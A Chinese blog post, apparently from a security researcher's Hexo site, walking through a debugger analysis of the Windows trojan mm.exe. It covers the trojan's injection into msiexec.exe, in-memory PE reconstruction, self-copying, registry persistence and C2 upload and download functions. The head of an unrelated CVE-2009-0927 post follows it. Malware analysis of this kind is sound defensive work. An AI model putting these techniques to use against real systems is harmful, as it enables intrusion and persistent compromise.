<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-19 22:54:26</span>
<span class="mobile">2021-05-19 22:54:26</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2022-11-14 22:15:30</span>
<span class="mobile">2022-11-14 22:15:30</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/">样本分析</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/windows%E6%9C%A8%E9%A9%AC/">windows木马</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h3 id="0x00-样本信息"><a href="#0x00-样本信息" class="headerlink" title="0x00 样本信息"></a>0x00 样本信息</h3><ul>
<li><p>文件名称:mm.exe</p>
</li>
<li><p>MD5:37eec1a29d316ed1e5e766b599dc32a1</p>
</li>
<li><p>SHA-1:75f098d6b3f217aba4c068b12896c332216fc6b3</p>
</li>
<li><p>Authentihash:1b17d4d13c65fed36321aec54f2dc9b214308bbc82821659f83e445b93d1962e</p>
</li>
<li><p>Imphash:9e932de2e1e9ccfc4eacc3a16a8c9ab4</p>
</li>
<li><p>文件类型:Win32 EXE</p>
</li>
<li><p>文件大小:63.08 KB</p>
</li>
<li><p>哈勃扫描结果:<a class="link" target="_blank" rel="noopener" href="https://habo.qq.com/file/showdetail?pk=ADIGYV1qB2IIOls1">https://habo.qq.com/file/showdetail?pk=ADIGYV1qB2IIOls1<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>
</li>
</ul>
<h3 id="0x01-主要行为:"><a href="#0x01-主要行为:" class="headerlink" title="0x01 主要行为:"></a>0x01 主要行为:</h3><ol>
<li><p>劫持系统进程msiexec.exe创建远程线程(将url读入缓冲区修复为一个可以使用的PE文件)</p>
</li>
<li><p>修复改文件夹属性</p>
</li>
<li><p>将自身复制到系统目录下,自删除</p>
</li>
<li><p>设置注册表启动项</p>
</li>
</ol>
<span id="more"></span>
<h3 id="0x02-具体分析"><a href="#0x02-具体分析" class="headerlink" title="0x02 具体分析"></a>0x02 具体分析</h3><ul>
<li>获取自身文件路径<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/2a7657a1-f313-4339-b512-25abeedcfa49.png" class="" title="img"></li>
<li>获取系统时间<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/4ca75e30-8c86-4c5b-bd34-cb2f14dc6141.png" class="" title="img"></li>
<li>将自身复制到系统目录下,自删除<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/a56aedae-5d39-4f94-aa96-85aea9b4845e.png" class="" title="img"></li>
</ul>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/69c17b1a-6286-4084-8eba-8972c864a46b.jpg" class="" title="img">
<ul>
<li>进这个函数<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/eb5c6dd9-047e-4051-a943-8ab22e04b67c.png" class="" title="img"></li>
<li>loadlibrary加载msi.dll后动态解密出来一个jmp继续走<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/4be8d70e-a2e1-4293-abff-0a7d3cead6b2.png" class="" title="img"></li>
<li>拼接路径名创建文件<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/7f924d59-6b11-42db-89a5-bd28b27c2c11.png" class="" title="img"></li>
<li>读取完关闭文件仅需进这个新创建的局部变量执行,这块其实是要再进行解密的<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/77342a06-06a3-4be1-a320-24a82ceb0909.png" class="" title="img"></li>
<li>循环解密后继续跟进<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/11a167b0-ed7c-47f2-b1c3-acc3d3e3ef4b.png" class="" title="img"></li>
<li>继续跟进,有些时候并不能确定这些函数都是干什么的,这时候就需要一次一次的试错试出来了,不要害怕尝试<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/42be8870-593a-42b8-ba6d-b83b7d0e3222.png" class="" title="img"></li>
<li>内层有个函数继续跟进<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/3a9b6fbc-31ec-47f8-a2ef-d3d363126935.png" class="" title="img">
-上面这一块发现是在分区段的修复一个新建的PE文件<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/1644551f-cd75-454c-8dfc-b71daa2b286f.png" class="" title="img"></li>
<li>继续跟进去<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/e910eeb7-d807-45a7-8717-3ddaddcb8c24.png" class="" title="img"></li>
<li>创建文件<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/29dec3b4-f38f-4110-8154-3472cd46d753.png" class="" title="img"></li>
<li>往这个地址再考一份PE文件,这个地址不固定每次重新打开都会变(总共拷贝了三份PE文件)<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/e6c03d16-0f6f-460a-a0bd-656833c19116.png" class="" title="img"></li>
<li>继续跟进<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/d2330a96-8bef-454f-8387-937c59e23ca3.png" class="" title="img"></li>
<li>继续跟进(看到可疑的都进去看一下)<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/08bdbc7b-b3e2-425e-9877-d0b4162c5e4b.png" class="" title="img"></li>
<li>创建url文件<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/088ce841-2af5-474a-afff-33533291d0b6.png" class="" title="img"></li>
<li>发现创建了这个系统进程<br><em>重要</em></li>
<li>接下来的操作要注入这个进程,在这里面创建线程执行<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/e9328e0f-eb70-47e2-aa78-6f0efb7efbe3.png" class="" title="img"></li>
</ul>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/c4ba2cbf-d131-48a0-8ff5-79ef23e33bcc.png" class="" title="img">
<ul>
<li>再往下找一下发现有创建远程线程的地方<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/8b729e66-cc45-4a6d-a2d2-5e687462bee3.png" class="" title="img"></li>
<li>另开一个OD附加一下msiexec.exe这个进程<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/173a226d-f97b-40a2-92d3-88e2af7ef0f7.png" class="" title="img"></li>
<li>这里需要修改一下调试设置,接下来调试用(因为接下来createremotethread要在这个进程里面创建新的线程)<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/fc2b7683-2209-48a7-a8b1-2226a79e5913.jpg" class="" title="img"></li>
<li>运行到创建远程线程结束<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/d9520cf3-5d89-4ce6-adab-79d88e4d588e.png" class="" title="img"></li>
<li>因为我们刚才设置了中断于新线程,所以直接运行(F9)就会断在创建新线程的地方</li>
<li>发现这个地方似曾相识<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/eca5c4da-2678-4e8e-918e-49fa0555ba41.png" class="" title="img"></li>
<li>没错,这个地方循环解密后就是这个函数入口了,和刚才的入口是一样的<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/fc5045d2-e39a-4d8b-808b-25a7144af06d.png" class="" title="img"></li>
<li>继续跟进<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/8232d7de-931f-4147-97c4-dd8c4a913e6c.png" class="" title="img"></li>
<li>这里同样是在修复各个区段<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/78173e8a-9fa4-4017-9855-d19f4b99bd0d.png" class="" title="img"></li>
<li>上面一个函数出来之后继续跟进下一个<br><strong>发现这里传进去了一个PE文件</strong>进去看一下<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/ac302c10-9626-47d8-849c-3b94eab358f8.png" class="" title="img">
<strong>这里可以用loadPE(以管理员权限打开)从10000000将这整个文件dump出来,用IDA辅助分析</strong></li>
<li>用loadPEdump这样直接从内存中dump出来它的对齐粒度是1000所以要修改一下,改为内存对齐.<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/f4843a5b-8ac6-4295-8f01-ac80a9dad61a.jpg" class="" title="img">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/6fa79227-ef3d-4542-8feb-b6bc03f30ca0.jpg" class="" title="img"></li>
<li>跟进这里面看一下<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/136657ca-203c-4278-aba7-5d2b7b59a255.png" class="" title="img"></li>
<li>创建目录>拼接路径<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/081776c2-e2a8-426e-bd11-c45a1c4dc4a3.png" class="" title="img">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/4fcd1911-47dd-4991-9037-d70846fa5471.png" class="" title="img"></li>
<li>设置注册表键值<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/f0473f82-6fe3-468a-9281-e1dc3311b417.png" class="" title="img"></li>
<li>打开网络链接<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/54214749-d668-4903-b37d-b537668addf9.png" class="" title="img">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/b490ece7-6e2f-48bf-abdc-0fc8810214d1.png" class="" title="img">
-跟进函数看一下<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/44343cf0-d018-4672-8dfd-19ed54eae2f3.png" class="" title="img"></li>
<li>这里面有上传和下载的函数但是网站已经废了,我们进去就崩溃了<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/f5cdbaf8-2be5-427b-9428-a76e3c41a381.png" class="" title="img"></li>
</ul>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/a1c7b25b-9da8-4888-8490-753e0c90a015.png" class="" title="img">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/0353dc7e-2674-42a3-a2a9-c8bd5e7bc90d.png" class="" title="img">
<ul>
<li>我们需要在会崩溃的地方改跳转不去执行<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/cfc90d64-144f-44fa-a50d-808a0c4b5837.png" class="" title="img"></li>
<li>跟了一下发现获取主机名的时候会崩溃(所以就改跳转不去执行了)<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/d734b48a-841c-4e25-beab-2f6ca8a4b52e.png" class="" title="img"></li>
<li>获取电脑名和用户名<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/c4e6e22c-3dd1-47d1-a9cf-43052e98a2a6.png" class="" title="img">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/6f5fd45a-363e-4df5-b1f4-3648d7cf9c2d.png" class="" title="img"></li>
<li>有些地方实在没办法过去就修改eip直接跳过这个函数<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/7d9066f5-f2c5-4658-9fa7-6ac4fe329338.png" class="" title="img"></li>
<li>建立连接从网站上读取文件<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/a7724282-bb62-4ef3-9f6d-6e63f457abf8.png" class="" title="img"></li>
<li>给网站发送消息并查看是否返回错误信息<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/b698e5c1-6f09-4b47-8407-e471d9b5480c.png" class="" title="img"></li>
<li>检索当前用的磁盘驱动器<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/3d13441a-5579-43f1-8a26-4684d8bf8d80.png" class="" title="img"></li>
<li>获取进程信息<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/7748befd-1afa-4b0e-974c-0ddeef1c3ff9.png" class="" title="img"></li>
<li>上传,下载内容<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/b54dd262-dda2-456c-bf40-215c38a61bb4.png" class="" title="img"></li>
<li>写文件<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/7351ddef-f311-4373-9b72-7f647430ebf5.png" class="" title="img"></li>
<li>关闭其它进程和线程与服务器断开连接<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/23527c1f-1da8-403d-8a8f-f48344771b2f.png" class="" title="img">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/115b22d5-047d-47ad-94a2-56f0a216595a.png" class="" title="img"></li>
</ul>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> mm木马分析</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-19 22:54:26</li>
<li>
<strong>更新于
:</strong> 2022-11-14 22:15:30
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/19/mm木马分析/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/windows%E6%9C%A8%E9%A9%AC/">#windows木马</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/20/%E5%A0%86%E7%BB%93%E6%9E%84/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">堆结构</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">mm木马分析</div>
<ol class="nav"><li class="nav-item nav-level-3"><a class="nav-link" href="#0x00-%E6%A0%B7%E6%9C%AC%E4%BF%A1%E6%81%AF"><span class="nav-text">0x00 样本信息</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#0x01-%E4%B8%BB%E8%A6%81%E8%A1%8C%E4%B8%BA%EF%BC%9A"><span class="nav-text">0x01 主要行为:</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#0x02-%E5%85%B7%E4%BD%93%E5%88%86%E6%9E%90"><span class="nav-text">0x02 具体分析</span></a></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/19/mm木马分析/index.html | HTML | unknown | 50,071 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/20/cve-2009-0927-pdf中的js/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="0x00:分析环境 使用的环境 备注 操作系统 Windows XP SP3 Vmware 16 Adobe Reader版本 9.0中文版 动态调试 OllyDbg v2.01 用的原版的OD其它的OD可能会断不下来 静态调试 IDA7.0">
<meta property="og:type" content="article">
<meta property="og:title" content="CVE-2009-0927:PDF中的JS">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="0x00:分析环境 使用的环境 备注 操作系统 Windows XP SP3 Vmware 16 Adobe Reader版本 9.0中文版 动态调试 OllyDbg v2.01 用的原版的OD其它的OD可能会断不下来 静态调试 IDA7.0">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201022230847400.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201022231914767.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201022232324314.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201022235538635.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023220723303.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023221046299.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023221613381.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023222257857.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023223038236.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023222829091.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023224822598.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023225316223.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023230030389.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023230050091.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023230914434.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023231315257.png">
